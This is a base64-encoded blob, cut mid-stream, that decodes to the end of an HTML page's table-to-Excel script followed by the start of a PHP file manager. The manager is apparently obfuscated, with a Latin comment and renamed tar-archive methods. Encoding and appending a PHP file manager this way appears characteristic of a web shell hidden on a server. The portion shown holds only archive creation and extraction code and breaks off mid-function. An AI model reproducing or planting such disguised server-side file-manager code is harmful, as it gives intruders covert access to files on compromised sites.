KCQkgICAgICAgICAJCSAgICAgICAgIHhscy52aXNpYmxlID0gdHJ1ZTsNCgkJICAgICAgICAgCQkgICAgICAgICB4bHMuV29ya2Jvb2tzLkFkZA0KCQkgICAgICAgICAJCSAgICAgICAgIGZvciAoaSA9IDA7IGkgPCB4Lmxlbmd0aDsgaSsrKSB7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJdmFyIHkgPSB4W2ldLmNlbGxzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAlmb3IgKGogPSAwOyBqIDwgeS5sZW5ndGg7IGorKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICB4bHMuQ2VsbHMoaSArIDEsIGogKyAxKS5WYWx1ZSA9IHlbal0uaW5uZXJUZXh0Ow0KCQkgICAgICAgICAJCSAgICAgICAgIAl9DQoJCSAgICAgICAgIAkJICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIHhscy5WaXNpYmxlID0gdHJ1ZTsNCgkJICAgICAgICAgCQkgICAgICAgICB4bHMuVXNlckNvbnRyb2wgPSB0cnVlOw0KDQoJDQogICAgDQogICAgCSAgICAgICAgIAkJICAgICAgICAgcmV0dXJuIHhsczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAl9IGVsc2Ugew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgdGFibGVUb0V4Y2VsRGF0YShlbCwgbmFtZSk7DQoNCgkJICAgICAgICAgCX0NCg0KCQkgICAgICAgICB9DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvc2NyaXB0Pg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KPD9waHANCg0KDQoNCg0KDQoNCg0KDQovLyBNdWx0YSBGaWxlIE1hbmFnZXIgZXhlbXBsYXJpYSBmaXVudCBjdW0gZnVuY3Rpb25pYnVzIGV4dGVuc2l2aXMgZXQgcGVyc29uYWxpemFiaWxpYnVzDQoNCg0KDQpjbGFzcyBhcmNoaXZlVGFyIHsNCg0KCXZhciAkYXJjaGl2ZVRpdGxlID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgIA0KCXZhciAkdGVtcG9yYXJ5RmlsZSA9IDA7DQoNCgl2YXIgJGZpbGVQb2ludGVyID0gMDsNCgl2YXIgJGlzQ29tcHJlc3NlZEZpbGUgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJdmFyICRlcnJvckxpc3QgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCXZhciAkZmlsZVNldCA9IGFycmF5KCk7DQoNCgkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCglmdW5jdGlvbiBfX2NvbnN0cnVjdCgpew0KDQoJCSAgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmVycm9yTGlzdCkpICR0aGlzLT5lcnJvckxpc3QgPSBhcnJheSgpOw0KDQoJfQ0KCQ0KCWZ1bmN0aW9uIGJ1aWxkQXJjaGl2ZVBhY2thZ2UoJGZpbGVfbGlzdCl7DQoNCgkJICAgICAgICAgJHJlc3VsdCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkdGhpcy0+YXJjaGl2ZVRpdGxlKSAmJiBpc19maWxlKCR0aGlzLT5hcmNoaXZlVGl0bGUpKSAJJG5ld0FyY2hpdmUgPSBmYWxzZTsNCgkJICAgICAgICAgZWxzZSAkbmV3QXJjaGl2ZSA9IHRydWU7DQoJCSAgICAgICAgIGlmICgkbmV3QXJjaGl2ZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCWlmICghJHRoaXMtPmluaXRpYXRlRmlsZVdyaXRlKCkpIHJldHVybiBmYWxzZTsNCgkJICAgICAgICAgfSBlbHNlIHsNCg0KCQkgICAgICAgICAJaWYgKGZpbGVTZXRpemUoJHRoaXMtPmFyY2hpdmVUaXRsZSkgPT0gMCkJcmV0dXJuICR0aGlzLT5pbml0aWF0ZUZpbGVXcml0ZSgpOw0KDQoJCSAgICAgICAgIAlpZiAoJHRoaXMtPmlzQ29tcHJlc3NlZEZpbGUpIHsNCg0KCQkgICAgICAgICAJCSAgICAgICAgICR0aGlzLT5maW5hbGl6ZVRlbXBGaWxlKCk7DQoJCSAgICAgICAgIAkJICAgICAgICAgaWYgKCFyZW5hbWUoJHRoaXMtPmFyY2hpdmVUaXRsZSwgJHRoaXMtPmFyY2hpdmVUaXRsZS4nLnRtcCcpKXsNCgkJICAgICAgICAgCQkgICAgICAgICAJJHRoaXMtPmVycm9yTGlzdFtdID0gX18oJ0Nhbm5vdCByZW5hbWUnKS4nICcuJHRoaXMtPmFyY2hpdmVUaXRsZS5fXygnIHRvICcpLiR0aGlzLT5hcmNoaXZlVGl0bGUuJy50bXAnOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCXJldHVybiBmYWxzZTsNCgkJICAgICAgICAgCQkgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgICR0bXBBcmNoaXZlID0gZ3pvcGVuKCR0aGlzLT5hcmNoaXZlVGl0bGUuJy50bXAnLCAncmInKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICghJHRtcEFyY2hpdmUpew0KDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVycm9yTGlzdFtdID0gJHRoaXMtPmFyY2hpdmVUaXRsZS4nLnRtcCAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICAJcmVuYW1lKCR0aGlzLT5hcmNoaXZlVGl0bGUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZVRpdGxlKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAlyZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgfQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgaWYgKCEkdGhpcy0+aW5pdGlhdGVGaWxlV3JpdGUoKSl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCXJlbmFtZSgkdGhpcy0+YXJjaGl2ZVRpdGxlLicudG1wJywgJHRoaXMtPmFyY2hpdmVUaXRsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgCXJldHVybiBmYWxzZTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIH0NCg0KCQkgICAgICAgICAJCSAgICAgICAgICRidWZmZXIgPSBnenJlYWQoJHRtcEFyY2hpdmUsIDUxMik7DQoNCgkJICAgICAgICAgCQkgICAgICAgICBpZiAoIWd6ZW9mKCR0bXBBcmNoaXZlKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIAlkbyB7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJCSAgICAgICAgICRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICAkdGhpcy0+c2F2ZURhdGFCbG9jaygkYmluYXJ5RGF0YSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICAkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOw0KCQkgICAgICAgICAJCSAgICAgICAgIAl9DQoJCSAgICAgICAgIAkJICAgICAgICAgCXdoaWxlICghZ3plb2YoJHRtcEFyY2hpdmUpKTsNCgkJICAgICAgICAgCQkgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICBnemNsb3NlKCR0bXBBcmNoaXZlKTsNCgkJICAgICAgICAgCQkgICAgICAgICB1bmxpbmsoJHRoaXMtPmFyY2hpdmVUaXRsZS4nLnRtcCcpOw0KCQkgICAgICAgICAJfSBlbHNlIHsNCg0KCQkgICAgICAgICAJCSAgICAgICAgICR0aGlzLT50ZW1wb3JhcnlGaWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVUaXRsZSwgJ3IrYicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICghJHRoaXMtPnRlbXBvcmFyeUZpbGUpCXJldHVybiBmYWxzZTsNCgkJICAgICAgICAgCX0NCg0KCQkgICAgICAgICB9DQoJCSAgICAgICAgIGlmIChpc3NldCgkZmlsZV9saXN0KSAmJiBpc19hcnJheSgkZmlsZV9saXN0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBpZiAoY291bnQoJGZpbGVfbGlzdCk+MCkNCg0KCQkgICAgICAgICAJJHJlc3VsdCA9ICR0aGlzLT5idW5kbGVGaWxlc0ludG9BcmNoaXZlKCRmaWxlX2xpc3QpOw0KCQkgICAgICAgICB9IGVsc2UgJHRoaXMtPmVycm9yTGlzdFtdID0gX18oJ05vIGZpbGUnKS5fXygnIHRvICcpLl9fKCdBcmNoaXZlJyk7DQoJCSAgICAgICAgIGlmICgoJHJlc3VsdCkmJihpc19yZXNvdXJjZSgkdGhpcy0+dGVtcG9yYXJ5RmlsZSkpKXsNCg0KCQkgICAgICAgICAJJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJycpOw0KCQkgICAgICAgICAJJHRoaXMtPnNhdmVEYXRhQmxvY2soJGJpbmFyeURhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgICR0aGlzLT5maW5hbGl6ZVRlbXBGaWxlKCk7DQoNCgkJICAgICAgICAgaWYgKCRuZXdBcmNoaXZlICYmICEkcmVzdWx0KXsNCg0KCQkgICAgICAgICAkdGhpcy0+ZmluYWxpemVUZW1wRmlsZSgpOw0KCQkgICAgICAgICB1bmxpbmsoJHRoaXMtPmFyY2hpdmVUaXRsZSk7DQoNCgkJICAgICAgICAgfQ0KCQkgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCWZ1bmN0aW9uIHJlY292ZXJBcmNoaXZlKCRwYXRoKXsNCgkJICAgICAgICAgJGZpbGVOYW1lID0gJHRoaXMtPmFyY2hpdmVUaXRsZTsNCg0KCQkgICAgICAgICBpZiAoISR0aGlzLT5pc0NvbXByZXNzZWRGaWxlKXsNCg0KCQkgICAgICAgICAJaWYgKGZpbGVfZXhpc3RzKCRmaWxlTmFtZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICgkZnAgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpKXsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAkkZGF0YSA9IGZyZWFkKCRmcCwgMik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgCWZjbG9zZSgkZnApOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCWlmICgkZGF0YSA9PSAnXDM3XDIxMycpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICAJCSAgICAgICAgICR0aGlzLT5pc0NvbXByZXNzZWRGaWxlID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICAJfQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgfQ0KDQoJCSAgICAgICAgIAl9DQoJCSAgICAgICAgIAllbHNlaWYgKChzdWJzdHIoJGZpbGVOYW1lLCAtMikgPT0gJ2d6JykgT1IgKHN1YnN0cigkZmlsZU5hbWUsIC0zKSA9PSAndGd6JykpICR0aGlzLT5pc0NvbXByZXNzZWRGaWxlID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB9IA0KCQkgICAgICAgICAkcmVzdWx0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICBpZiAoJHRoaXMtPmlzQ29tcHJlc3NlZEZpbGUpICR0aGlzLT50ZW1wb3JhcnlGaWxlID0gZ3pvcGVuKCRmaWxlTmFtZSwgJ3JiJyk7DQoNCgkJICAgICAgICAgZWxzZSAkdGhpcy0+dGVtcG9yYXJ5RmlsZSA9IGZvcGVuKCRmaWxlTmFtZSwgJ3JiJyk7DQoNCgkJICAgICAgICAgaWYgKCEkdGhpcy0+dGVtcG9yYXJ5RmlsZSl7DQoNCgkJICAgICAgICAgCSR0aGlzLT5lcnJvckxpc3RbXSA9ICRmaWxlTmFtZS4nICcuX18oJ2lzIG5vdCByZWFkYWJsZScpOw0KCQkgICAgICAgICAJcmV0dXJuIGZhbHNlOw0KDQoJCSAgICAgICAgIH0NCg0KCQkgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnVuYnVuZGxlRmlsZXNJbnRvQXJjaGl2ZSgkcGF0aCk7DQoNCgkJICAgICAgICAgCSR0aGlzLT5maW5hbGl6ZVRlbXBGaWxlKCk7DQoNCgkJICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQoNCgl9DQoNCg0KDQoJZnVuY3Rpb24gZGlzcGxheUVycm9yTG9ncwkoJG1lc3NhZ2UgPSAnJykgew0KCQkgICAgICAgICAkRXJyb3JzID0gJHRoaXMtPmVycm9yTGlzdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGlmKGNvdW50KCRFcnJvcnMpPjApIHsNCg0KCQkgICAgICAgICBpZiAoIWVtcHR5KCRtZXNzYWdlKSkgJG1lc3NhZ2UgPSAnICgnLiRtZXNzYWdlLicpJzsNCgkJICAgICAgICAgCSRtZXNzYWdlID0gX18oJ0Vycm9yIG9jY3VycmVkJykuJG1lc3NhZ2UuJzogPGJyLz4nOw0KCQkgICAgICAgICAJZm9yZWFjaCAoJEVycm9ycyBhcyAkdmFsdWUpDQoNCgkJICAgICAgICAgCQkgICAgICAgICAkbWVzc2FnZSAuPSAkdmFsdWUuJzxici8+JzsNCg0KCQkgICAgICAgICAJcmV0dXJuICRtZXNzYWdlOwkNCg0KCQkgICAgICAgICB9IGVsc2UgcmV0dXJuICcnOw0KDQoJCSAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICANCgl9DQoJDQoNCglmdW5jdGlvbiBidW5kbGVGaWxlc0ludG9BcmNoaXZlKCRmaWxlX2FycmF5KXsNCgkJICAgICAgICAgJHJlc3VsdCA9IHRydWU7DQoNCgkJICAgICAgICAgaWYgKCEkdGhpcy0+dGVtcG9yYXJ5RmlsZSl7DQoJCSAgICAgICAgIAkkdGhpcy0+ZXJyb3JMaXN0W10gPSBfXygnSW52YWxpZCBmaWxlIGRlc2NyaXB0b3InKTsNCg0KCQkgICAgICAgICAJcmV0dXJuIGZhbHNlOw0KDQoJCSAgICAgICAgIH0NCg0KCQkgICAgICAgICBpZiAoIWlzX2FycmF5KCRmaWxlX2FycmF5KSB8fCBjb3VudCgkZmlsZV9hcnJheSk8PTApDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICByZXR1cm4gdHJ1ZTsNCg0KCQkgICAgICAgICBmb3IgKCRpID0gMDsgJGk8Y291bnQoJGZpbGVfYXJyYXkpOyAkaSsrKXsNCg0KCQkgICAgICAgICAJJGZpbGVuYW1lID0gJGZpbGVfYXJyYXlbJGldOw0KCQkgICAgICAgICAJaWYgKCRmaWxlbmFtZSA9PSAkdGhpcy0+YXJjaGl2ZVRpdGxlKQ0KDQoJCSAgICAgICAgIAkJICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAlpZiAoc3RybGVuKCRmaWxlbmFtZSk8PTApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIGNvbnRpbnVlOw0KDQoJCSAgICAgICAgIAlpZiAoIWZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpew0KCQkgICAgICAgICAJCSAgICAgICAgICR0aGlzLT5lcnJvckxpc3RbXSA9IF9fKCdObyBmaWxlJykuJyAnLiRmaWxlbmFtZTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIGNvbnRpbnVlOw0KCQkgICAgICAgICAJfQ0KDQoJCSAgICAgICAgIAlpZiAoISR0aGlzLT50ZW1wb3JhcnlGaWxlKXsNCg0KCQkgICAgICAgICAJJHRoaXMtPmVycm9yTGlzdFtdID0gX18oJ0ludmFsaWQgZmlsZSBkZXNjcmlwdG9yJyk7DQoNCgkJICAgICAgICAgCXJldHVybiBmYWxzZTsNCgkJICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgaWYgKHN0cmxlbigkZmlsZW5hbWUpPD0wKXsNCgkJICAgICAgICAgCSR0aGlzLT5lcnJvckxpc3RbXSA9IF9fKCdGaWxlbmFtZScpLicgJy5fXygnaXMgaW5jb3JyZWN0Jyk7Ow0KCQkgICAgICAgICAJcmV0dXJuIGZhbHNlOw0KCQkgICAgICAgICB9DQoJCSAgICAgICAgICRmaWxlbmFtZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGVuYW1lKTsNCgkJICAgICAgICAgJGtlZXBfZmlsZW5hbWUgPSAkdGhpcy0+Z2VuZXJhdGVWYWxpZFBhdGgoJGZpbGVuYW1lKTsNCgkJICAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSl7DQoJCSAgICAgICAgIAlpZiAoKCRmaWxlID0gZm9wZW4oJGZpbGVuYW1lLCAncmInKSkgPT0gMCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICAkdGhpcy0+ZXJyb3JMaXN0W10gPSBfXygnTW9kZSAnKS5fXygnaXMgaW5jb3JyZWN0Jyk7DQoNCgkJICAgICAgICAgCX0NCgkJICAgICAgICAgCQkgICAgICAgICBpZigoJHRoaXMtPmZpbGVQb2ludGVyID09IDApKXsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAlpZighJHRoaXMtPmluc2VydEhlYWRlckluZm8oJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSkpDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICByZXR1cm4gZmFsc2U7DQoNCgkJICAgICAgICAgCQkgICAgICAgICB9DQoNCgkJICAgICAgICAgCQkgICAgICAgICB3aGlsZSAoKCRidWZmZXIgPSBmcmVhZCgkZmlsZSwgNTEyKSkgIT0gJycpew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOw0KCQkgICAgICAgICAJCSAgICAgICAgIAkkdGhpcy0+c2F2ZURhdGFCbG9jaygkYmluYXJ5RGF0YSk7DQoJCSAgICAgICAgIAkJICAgICAgICAgfQ0KDQoJCSAgICAgICAgIAlmY2xvc2UoJGZpbGUpOw0KCQkgICAgICAgICB9CWVsc2UgJHRoaXMtPmluc2VydEhlYWRlckluZm8oJGZpbGVuYW1lLCAka2VlcF9maWxlbmFtZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCWlmIChAaXNfZGlyKCRmaWxlbmFtZSkpew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgaWYgKCEoJGhhbmRsZSA9IG9wZW5kaXIoJGZpbGVuYW1lKSkpew0KCQkgICAgICAgICAJCSAgICAgICAgIAkkdGhpcy0+ZXJyb3JMaXN0W10gPSBfXygnRXJyb3InKS4nOiAnLl9fKCdEaXJlY3RvcnkgJykuJGZpbGVuYW1lLl9fKCdpcyBub3QgcmVhZGFibGUnKTsNCgkJICAgICAgICAgCQkgICAgICAgICAJY29udGludWU7DQoNCgkJICAgICAgICAgCQkgICAgICAgICB9DQoNCgkJICAgICAgICAgCQkgICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZGlyID0gcmVhZGRpcigkaGFuZGxlKSkpew0KCQkgICAgICAgICAJCSAgICAgICAgIAlpZiAoJGRpciE9Jy4nICYmICRkaXIhPScuLicpew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICAkZmlsZV9hcnJheV90bXAgPSBhcnJheSgpOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICBpZiAoJGZpbGVuYW1lICE9ICcuJykNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAkJICAgICAgICAgCSRmaWxlX2FycmF5X3RtcFtdID0gJGZpbGVuYW1lLicvJy4kZGlyOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICBlbHNlDQoNCgkJICAgICAgICAgCQkgICAgICAgICAJCSAgICAgICAgIAkkZmlsZV9hcnJheV90bXBbXSA9ICRkaXI7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgCQkgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPmJ1bmRsZUZpbGVzSW50b0FyY2hpdmUoJGZpbGVfYXJyYXlfdG1wKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAl9DQoNCgkJICAgICAgICAgCQkgICAgICAgICB9DQoNCg0KDQoNCgkJICAgICAgICAgCQkgICAgICAgICB1bnNldCgkZmlsZV9hcnJheV90bXApOw0KCQkgICAgICAgICAJCSAgICAgICAgIHVuc2V0KCRkaXIpOw0KDQoJCSAgICAgICAgIAkJICAgICAgICAgdW5zZXQoJGhhbmRsZSk7DQoNCgkJICAgICAgICAgCX0NCg0KCQkgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIHJldHVybiAkcmVzdWx0Ow0KDQoJfQ0KDQoNCg0KCWZ1bmN0aW9uIHVuYnVuZGxlRmlsZXNJbnRvQXJjaGl2ZSgkcGF0aCl7IA0KDQoJCSAgICAgICAgICRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7DQoJCSAgICAgICAgIGlmICgkcGF0aCA9PSAnJwl8fCAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycgJiYgc3Vic3RyKCRwYXRoLCAwLCAzKSAhPSAnLi4vJyAmJiAhc3RycG9zKCRwYXRoLCAnOicpKSkJJHBhdGggPSAnLi8nLiRwYXRoOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCgkJICAgICAgICAgd2hpbGUgKHN0cmxlbigkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZXRyaWV2ZURhdGFCbG9jaygpKSAhPSAwKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCWlmICghJHRoaXMtPmZldGNoSGVhZGVySW5mbygkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsNCg0KCQkgICAgICAgICAJaWYgKCRoZWFkZXJbJ2ZpbGVuYW1lJ10gPT0gJycpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJaWYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJ0wnKXsJCSAgICAgICAgIAkvL3JlYWRpbmcgbG9uZyBoZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgJGZpbGVuYW1lID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRkZWNyOyAkaSsrKXsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAkkY29udGVudCA9ICR0aGlzLT5yZXRyaWV2ZURhdGFCbG9jaygpOw0KCQkgICAgICAgICAJCSAgICAgICAgIAkkZmlsZW5hbWUgLj0gJGNvbnRlbnQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICB9DQoNCgkJICAgICAgICAgCQkgICAgICAgICBpZiAoKCRsYXNwaWVjZSA9ICRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCl7DQoJCSAgICAgICAgIAkJICAgICAgICAgCSRjb250ZW50ID0gJHRoaXMtPnJldHJpZXZlRGF0YUJsb2NrKCk7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJJGZpbGVuYW1lIC49IHN1YnN0cigkY29udGVudCwgMCwgJGxhc3BpZWNlKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIH0NCgkJICAgICAgICAgCQkgICAgICAgICAkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZXRyaWV2ZURhdGFCbG9jaygpOw0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICghJHRoaXMtPmZldGNoSGVhZGVySW5mbygkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRmaWxlbmFtZTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAl9DQoNCgkJICAgICAgICAgCWlmICgoJHBhdGggIT0gJy4vJykgJiYgKCRwYXRoICE9ICcvJykpew0KCQkgICAgICAgICAJCSAgICAgICAgIHdoaWxlIChzdWJzdHIoJHBhdGgsIC0xKSA9PSAnLycpICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCBzdHJsZW4oJHBhdGgpLTEpOw0KCQkgICAgICAgICAJCSAgICAgICAgIGlmIChzdWJzdHIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy8nKSAkaGVhZGVyWydmaWxlbmFtZSddID0gJHBhdGguJGhlYWRlclsnZmlsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICBlbHNlICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkcGF0aC4nLycuJGhlYWRlclsnZmlsZW5hbWUnXTsNCg0KCQkgICAgICAgICAJfQ0KDQoJCSAgICAgICAgIAkNCgkJICAgICAgICAgCWlmIChmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSl7DQoNCgkJICAgICAgICAgCQkgICAgICAgICBpZiAoKEBpc19kaXIoJGhlYWRlclsnZmlsZW5hbWUnXSkpICYmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICcnKSl7DQoJCSAgICAgICAgIAkJICAgICAgICAgCSR0aGlzLT5lcnJvckxpc3RbXSA9X18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJykuX18oJyBhcyBmb2xkZXInKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAlyZXR1cm4gZmFsc2U7DQoNCgkJICAgICAgICAgCQkgICAgICAgICB9DQoNCgkJICAgICAgICAgCQkgICAgICAgICBpZiAoKGlzX2ZpbGUoJGhlYWRlclsnZmlsZW5hbWUnXSkpICYmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1Jykpew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgCSR0aGlzLT5lcnJvckxpc3RbXSA9X18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIAlyZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICghaXNfd3JpdGVhYmxlKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKXsNCg0KCQkgICAgICAgICAJCSA